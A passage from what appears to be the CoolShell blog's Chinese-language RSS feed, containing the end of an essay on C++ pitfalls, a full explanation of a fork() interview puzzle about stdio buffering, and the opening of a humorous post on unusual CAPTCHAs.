30px;\">4）对于同时关注的运行效率和开发效率的程序员，Stroustrup多次强调C++的目标是——“<strong>在保证效率与C语言相当的情况下，加强程序的组织性；能保证同样功能的程序，C++更短小</strong>”，<strong>这正是<span style=\"color: #ff0000;\">浅封装</span>的核心思想</strong>。而不是过渡设计的OO。（参看：<a title=\"面向对象是个骗局？！\" href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\">面向对象是个骗局</a>）</p>\n<p style=\"padding-left: 30px;\">5）这本书中举了很多例子来回应那些批评C++有运行性能问题的人。C++在其第二个版本中，引入了虚函数机制，这是C++效率最大的瓶颈了，但我个人认为虚函数就是多了一次加法运算，但让我们的代码能有更好的组织，极大增加了程序的阅读和降底了维护成本。（注：Lippman的《<a href=\"http://book.douban.com/subject/1091086/\" target=\"_blank\">深入探索C++对象模型</a>》也说明了C++不比C的程序在运行性能低。Bruce的《<a href=\"http://book.douban.com/subject/1057170/\" target=\"_blank\">Think in C++</a>》也说C++和C的性能相差只有5%）</p>\n<p style=\"padding-left: 30px;\">6）这本书中还讲了一些C++的痛苦的取舍，印象最深的就是多重继承，提出，拿掉，再被提出，反复很多次，大家在得与失中不断地辩论和取舍。这个过程让我最大的收获是——a) <strong>对于任何一种设计都有好有坏，都只能偏重一方</strong>，b) <strong>完全否定式的批评是不好的心态，好的心态应该是建设性地批评</strong>。</p>\n<h4>我对C++的感情</h4>\n<p>我先说说我学C++的经历。</p>\n<p>我毕业时，是直接从C跳过C++学Java的，但是<strong>学Java的时候，不知道为什么Java要设计成这样，只好回头看C++，结果学C++的时候又有很多不懂，又只得回头看C</strong>，<strong>最后发现，C -&gt; C++ -&gt; Java的过程，就是C++填C的坑，Java填C++的坑的过程</strong>。</p>\n<p>注，下面这些东西可以看到Java在填C/C++坑：</p>\n<ul>\n<li>Java彻底废弃了指针（指针这个东西，绝对让这个社会有几百亿的损失），使用引用。</li>\n<li>Java用GC解决了C++的各种内存问题的诟病，当然也带来了GC的问题，不过功大于过。</li>\n<li>Java对异常的支持比C++更严格，让编程更方便了。</li>\n<li>Java没有像C++那样的template/macro/函数对象/操作符重载，泛型太晦涩，用OO更容易一些。</li>\n<li>Java改进了C++的构造、析构、拷贝构造、赋值。</li>\n<li>Java对完全抛弃了C/C++这种面向过程的编程方式，并废弃了多重继承，更OO（如：用接口来代替多重继承）</li>\n<li>Java比较彻底地解决了C/C++自称多年的跨平台技术。</li>\n<li>Java的反射机制把这个语言提升了一个高度，在这个上面可以构建各种高级用法。</li>\n<li>C/C++没有一些比较好的类库，比如UI，线程 ，I/O，字符串处理等。（C++0x补充了一些）</li>\n<li>等等……</li>\n</ul>\n<p>当然时代还在前进，这个演变的过程还在C#和Go上体现着。不过我学习了C -&gt; C++  -&gt; Java这个填坑演进的过程，让我明白了很多东西：</p>\n<ul>\n<li>我明白了OO是怎么一回事，重要的是明白了OO的封装，继承，和多态是怎么实现的。（参看我以前写过的《<a title=\"C++ 虚函数表解析\" href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\">C++虚函数表解析</a>》和《<a title=\"C++ 对象的内存布局\" href=\"https://coolshell.cn/articles/12176.html\" target=\"_blank\">C++对象内存布局</a>》）</li>\n<li>我明白了STL的泛型编程和Java的各种花哨的技术是怎么一回事，以及那些很花哨的编程方法和技术。</li>\n<li>我明白了C，C++，Java的各中坑，这就好像玩火一样，我知道怎么玩火不会烧身了。</li>\n</ul>\n<p><span style=\"color: #cc0000;\"><strong>我从这个学习过程中得到的最大的收获不是语言本身，而是各式各样的编程技术和方法，和技术的演进的过程，这比语言本身更重要</strong>！</span>（<strong>在这个角度上学习，你看到的不是一个又一个的坑，你看到的是——各式各样让你可以爬得更高的梯子</strong>）</p>\n<p>我对C++的感情有三个过程：先是喜欢地要死，然后是恨地要死，现在的又爱又恨，爱的是这个语言，恨的是很多不合格的人在滥用和凌辱它。</p>\n<h4>C++的未来</h4>\n<p>C++语言发展大概可以分为三个阶段（<a href=\"http://zh.wikipedia.org/wiki/C%2B%2B\" target=\"_blank\">摘自Wikipedia</a>）：</p>\n<ul>\n<li>第一阶段从80年代到1995年。这一阶段C++语言基本上是传统类型上的面向对象语言，并且凭借著接近C语言的效率，在工业界使用的开发语言中占据了相当大份额；</li>\n<li>第二阶段从1995年到2000年，这一阶段由于标准模板库（STL）和后来的Boost等程式库的出现，泛型程式设计在C++中占据了越来越多的比重性。当然，同时由于Java、C#等语言的出现和硬件价格的大规模下降，C++受到了一定的冲击；</li>\n<li>第三阶段从2000年至今，由于以Loki、MPL等程式库为代表的产生式编程和模板元编程的出现，C++出现了发展历史上又一个新的高峰，这些新技术的出现以及和原有技术的融合，使C++已经成为当今主流程式设计语言中最复杂的一员。</li>\n</ul>\n<p>在《<a title=\"Why C++ ? 王者归来\" href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\">Why C++? 王者归来</a>》中说了 ，性能主要就是要省电，省电就是省钱，在数据中心还不明显，在手机上就更明显了，这就是为什么Android 支持C++的原因。所以，在NB的电池或是能源出现之前，<strong>如果你需要注重程序的运行性能和开发效率，并更关注程序的运性能，那么，应该首选 C++</strong>。这就是iOS开发也支持C++的原因。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.04.jpg\" alt=\"\" width=\"567\" height=\"318\" /></p>\n<p>今天的C++11中不但有更多更不错的东西，而且，还填了更多原来C++的坑。（参看：<a href=\"http://zh.wikipedia.org/wiki/C%2B%2B11\" target=\"_blank\">C++11 Wiki</a>，<a title=\"C++11 中值得关注的几大变化（详解）\" href=\"https://coolshell.cn/articles/5265.html\" target=\"_blank\">C++ 11的主要特性</a>）</p>\n<p style=\"text-align: center;\"> <img decoding=\"async\" loading=\"lazy\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.11.jpg\" alt=\"\" width=\"567\" height=\"319\" /></p>\n<h4><strong>总结</strong></h4>\n<ul>\n<li><strong>C++并不完美，但学C++必然让你受益无穷。</strong></li>\n</ul>\n<ul>\n<li><strong>是那些不合格的、想对编程速成的程序员让C++变得坑多。</strong></li>\n</ul>\n<p>最后，非常感谢能和“<strong>@简悦云风</strong>”，“<strong>@淘宝诸霸</strong>”，“<strong>@Laruence</strong>”一起讨论这个问题！无论你们的观点怎么样，我都和你们“在一起”，嘿嘿嘿……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7992.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>236</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个fork的面试题</title>\n\t\t<link>https://coolshell.cn/articles/7965.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7965.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 01 Aug 2012 00:20:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[fork]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7965</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前两天有人问了个关于Unix的fork()系统调用的面试题，这个题正好是我大约十年前找工作时某公司问我的一个题，我觉得比较有趣，写篇文章与大家分享一下。这个题是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7965.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前两天有人问了个关于Unix的fork()系统调用的面试题，这个题正好是我大约十年前找工作时某公司问我的一个题，我觉得比较有趣，写篇文章与大家分享一下。这个题是这样的：</p>\n<p><strong>题目：请问下面的程序一共输出多少个“-”？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(void)\n{\n   int i;\n   for(i=0; i&lt;2; i++){\n      fork();\n      printf(&quot;-&quot;);\n   }\n\n   wait(NULL);\n   wait(NULL);\n\n   return 0;\n}\n</pre>\n<p>如果你对fork()的机制比较熟悉的话，这个题并不难，输出应该是6个“-”，但是，实际上这个程序会很tricky地输出8个“-”。</p>\n<p>要讲清这个题，我们首先需要知道fork()系统调用的特性，</p>\n<p><span id=\"more-7965\"></span></p>\n<ul>\n<li>fork()系统调用是Unix下以自身进程创建子进程的系统调用，一次调用，两次返回，如果返回是0，则是子进程，如果返回值&gt;0，则是父进程（返回值是子进程的pid），这是众为周知的。</li>\n</ul>\n<ul>\n<li>还有一个很重要的东西是，在fork()的调用处，整个父进程空间会原模原样地复制到子进程中，包括指令，变量值，程序调用栈，环境变量，缓冲区，等等。</li>\n</ul>\n<p>所以，上面的那个程序为什么会输入8个“-”，这是因为printf(&#8220;-&#8220;);语句有buffer，所以，对于上述程序，printf(&#8220;-&#8220;);把“-”放到了缓存中，并没有真正的输出（参看《<a title=\"C语言的谜题\" href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的迷题</a>》中的第一题），<strong>在fork的时候，缓存被复制到了子进程空间</strong>，所以，就多了两个，就成了8个，而不是6个。</p>\n<p>另外，多说一下，我们知道，Unix下的设备有“<a href=\"http://en.wikipedia.org/wiki/Device_file#Block_devices\" target=\"_blank\">块设备</a>”和“<a href=\"http://en.wikipedia.org/wiki/Device_file#Character_devices\" target=\"_blank\">字符设备</a>”的概念，所谓块设备，就是以一块一块的数据存取的设备，字符设备是一次存取一个字符的设备。磁盘、内存都是块设备，字符设备如键盘和串口。<strong>块设备一般都有缓存，而字符设备一般都没有缓存</strong>。</p>\n<p>对于上面的问题，我们如果修改一下上面的printf的那条语句为：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">printf(&quot;-\\n&quot;);</code></p>\n<p>或是</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\"> printf(&quot;-&quot;);\nfflush(stdout);</pre>\n<p>就没有问题了（就是6个“-”了），因为程序遇到“\\n”，或是EOF，或是缓中区满，或是文件描述符关闭，或是主动flush，或是程序退出，就会把数据刷出缓冲区。需要注意的是，标准输出是行缓冲，所以遇到“\\n”的时候会刷出缓冲区，但对于磁盘这个块设备来说，“\\n”并不会引起缓冲区刷出的动作，那是全缓冲，你可以使用setvbuf来设置缓冲区大小，或是用fflush刷缓存。</p>\n<p>我估计有些朋友可能对于fork()还不是很了解，那么我们把上面的程序改成下面这样：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\nint main(void)\n{\n   int i;\n   for(i=0; i&lt;2; i++){\n      fork();\n      //注意：下面的printf有“\\n”\n      printf(&quot;ppid=%d, pid=%d, i=%d \\n&quot;, getppid(), getpid(), i);\n   }\n   sleep(10); //让进程停留十秒，这样我们可以用pstree查看一下进程树\n   return 0;\n}\n</pre>\n<p>于是，上面这段程序会输出下面的结果，（注：编译出的可执行的程序名为fork）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">ppid=8858, pid=8518, i=0\nppid=8858, pid=8518, i=1\nppid=8518, pid=8519, i=0\nppid=8518, pid=8519, i=1\nppid=8518, pid=8520, i=1\nppid=8519, pid=8521, i=1\n\n$ pstree -p | grep fork\n|-bash(8858)-+-fork(8518)-+-fork(8519)---fork(8521)\n|            |            `-fork(8520)</pre>\n<p>面对这样的图你可能还是看不懂，没事，我好事做到底，画个图给你看看：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7968\" title=\"fork 程序调用图\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg.jpg\" alt=\"\" width=\"620\" height=\"407\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg.jpg 620w, https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-300x197.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-411x270.jpg 411w\" sizes=\"(max-width: 620px) 100vw, 620px\" /></p>\n<p>注意：上图中的我用了几个色彩，相同颜色的是同一个进程。于是，我们的pstree的图示就可以成为下面这个样子：（下图中的颜色与上图对应）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7969\" title=\"fork进程树\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork02.jpg\" alt=\"\" width=\"437\" height=\"97\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/fork02.jpg 437w, https://coolshell.cn/wp-content/uploads/2012/07/fork02-300x66.jpg 300w\" sizes=\"(max-width: 437px) 100vw, 437px\" /></p>\n<p>这样，对于printf(&#8220;-&#8220;);这个语句，我们就可以很清楚的知道，哪个子进程复制了父进程标准输出缓中区里的的内容，而导致了多次输出了。（如下图所示，就是我阴影并双边框了那两个子进程）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7970\" title=\"fork程序执行图\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork03.jpg\" alt=\"\" width=\"626\" height=\"415\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/fork03.jpg 626w, https://coolshell.cn/wp-content/uploads/2012/07/fork03-300x198.jpg 300w\" sizes=\"(max-width: 626px) 100vw, 626px\" /></p>\n<p>现在你明白了吧。（另，对于图中的我本人拙劣的配色，请见谅!）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7965.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>223</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>各式各样的验证码</title>\n\t\t<link>https://coolshell.cn/articles/7917.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7917.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 19 Jul 2012 00:32:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Captcha]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[验证码]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7917</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前那篇《超强验证码》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7917.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7917.html\">各式各样的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前那篇《<a title=\"超强的验证码\" href=\"https://coolshell.cn/articles/3277.html\" target=\"_blank\">超强验证码</a>》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，后面的会向你展示什么是有accessibility验证码。</p>\n<h4>完全看不清楚的</h4>\n<p>这是人类的字符吗？</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7920\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/0.jpg\" alt=\"\" width=\"543\" height=\"358\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/0.jpg 543w, https://coolshell.cn/wp-content/uploads/2012/07/0-300x198.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/07/0-410x270.jpg 410w\" sizes=\"(max-width: 543px) 100vw, 543px\" /></p>\n<p style=\"text-align: left;\">图案中的字母是什么？</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/7.jpg\" alt=\"\" width=\"409\" height=\"472\" /></p>\n<p><span id=\"more-7917\"></span></p>\n<p>这也够奇葩的了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/4.jpg\" alt=\"\" width=\"454\" height=\"438\" /></p>\n<h4 style=\"text-align: left;\">看得清但令人抓狂的</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"2\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/2.jpg\" alt=\"\" width=\"480\" height=\"322\" /></a><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/3.jpg\" alt=\"\" width=\"510\" height=\"302\" /></p>\n<h4><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/1.jpg\"><br />\n</a> <a href=\"https://coolshell.cn/wp-content/uploads/2012/07/2.jpg\"><br />\n</a>数学公式的</h4>\n<p>如果你填对了，你是人类吗？</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/4.jpg\"><br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/5.jpg\" alt=\"\" width=\"469\" height=\"273\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/7.jpg\"><br />\n</a> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7928\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/8.jpg\" alt=\"\" width=\"526\" height=\"293\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/8.jpg 526w, https://coolshell.cn/wp-content/uploads/2012/07/8-300x167.jpg 300w\" sizes=\"(max-width: 526px) 100vw, 526px\" /></p>\n<h4 style=\"text-align: left;\">智力题</h4>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/1.jpg\" alt=\"\" width=\"511\" height=\"440\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/worstcaptchaever.jpg\" alt=\"\" width=\"552\" height=\"283\" /></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/9.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7929\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/9.jpg\" alt=\"\" width=\"444\" height=\"257\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/9.jpg 444w, https://coolshell.cn/wp-content/uploads/2012/07/9-300x173.jpg 300w\" sizes=\"(max-width: 444px) 100vw, 444px\" /></a></p>\n<h4>你的审美水平正常吗？</h4>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/6.jpg\" alt=\"\" width=\"596\" height=\"474\" /></p>\n<h4>你懂盲文吗？</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7930\" title=\"a438_c13\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg\" alt=\"\" width=\"346\" height=\"60\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg 346w, https://coolshell.cn/wp-content/uploads/2012/07/a438_c13-300x52.jpg 300w\" sizes=\"(max-width: 346px) 100vw, 346px\" /></a></p>\n<h4>ASCII图片式</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg\" alt=\"\" width=\"452\" height=\"548\" /></p>\n<h4 style=\"text-align: left;\"></h4>\n<h4></h4>\n<h4>怎么验证一个人是否成年</h4>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg\"><br />\n</a> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7933\" title=\"main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg\" alt=\"\" width=\"640\" height=\"366\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg 640w, https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1-300x171.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<h4>3D验证码</h4>\n<p>通个这个脚本自动生成的：<a href=\"http://ocr-research.org.ua/tb/getimage.php5\" target=\"_blank\">http://ocr-research.org.ua/tb/getimage.php5</a></p>\n<p><a href=\"http://ocr-research.org.ua/tb/getimage.php5\"><img decoding=\"async\" class=\"aligncenter\" title=\"http://ocr-research.org.ua/tb/getimage.php5\" src=\"http://ocr-research.org.ua/tb/getimage.php5\" alt=\"http://ocr-research.org.ua/tb/getimage.php5\" /></a></p>\n<h4></h4>\n<h4>reCaptcha</h4>\n<p>相信大家都知道reCAPTCHA下了一盘很大的棋，它让你在输验证码的时候还帮着还原书籍中那些很难被OCR识别的单词。其有两组验证码，一组是可以被电脑识别的，另一组是不能被电脑识别的（也就是让人来帮电脑识别的），如果你第一组答对了，就会被 认为是人工操作，于是你回答的第二组就会成为人肉OCR。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7947\" title=\"reCAPTCHA\" 